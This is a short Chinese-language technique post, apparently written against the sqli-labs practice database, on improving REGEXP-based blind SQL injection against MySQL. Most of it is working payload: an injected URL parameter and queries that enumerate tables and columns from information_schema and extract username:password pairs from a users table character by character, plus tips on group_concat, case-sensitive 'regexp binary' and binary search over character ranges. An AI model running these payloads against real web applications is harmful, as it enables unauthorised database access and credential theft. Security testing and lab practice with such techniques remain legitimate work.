regexp盲注的一些改进

时间:2022-01-22 02:36:26
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*

  这是之前看别人的文章写的exp,觉得有点啰嗦,其实可以很直白的写

select group_concat(table_name) from information_schema.tables where table_schema='security';
select((select group_concat(table_name) from information_schema.tables where table_schema='security') regexp binary '^e');
select group_concat(column_name) from information_schema.columns where table_name='users';
select((select group_concat(column_name) from information_schema.columns where table_name='users') regexp binary '^i');
select group_concat(username,':',password) from security.users;
select((select group_concat(username,':',password) from security.users) regexp binary '^D');

几个注意点

1 可以直接用group_concat全部匹配出来

2 mysql中用regexp是区分大小写的,只有对取md5的时候没关系,其他时候要加上binary,不过取数据时就不用group_concat了,用limit一条一条取

3 regexp也可以用二分法 '^[a-z]' 到 '^[a-h]'